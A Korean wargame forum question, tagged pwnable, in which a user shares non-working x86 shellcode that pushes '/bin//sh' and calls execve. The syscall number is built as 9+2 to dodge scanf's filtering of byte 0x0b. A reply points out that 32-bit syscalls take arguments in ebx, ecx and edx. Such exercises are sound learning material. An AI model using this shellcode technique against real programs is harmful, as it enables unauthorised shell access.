쉘코드 어셈블리어로 작성을 못하겠습니다.
section .text
global _start
_start:
push 0
mov rax, 0x68732f2f6e69622f
push rax ;/bin//sh
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax,0x9
add rax,0x2
int 0x80
rax에 바로 0xb를 하여 호출하면 0x0b를 scanf가 필터링 하기 때문에 이런 방식으로 쉘코드를 짜봤는데 작동하지 않습니다.
어느 부분이 잘못되었는지 확인해주실 수 있을까요?
기계어로 변환해 보아도 필터링 되는 부분은 없습니다.
#pwnable
작성자 정보
답변
1
화려한치킨
워게임: 20
32bit 환경이라 syscall 인수를 rdi, rsi, rdx로 받는게 아니라 ebx ecx edx로 받아야 됐습니다.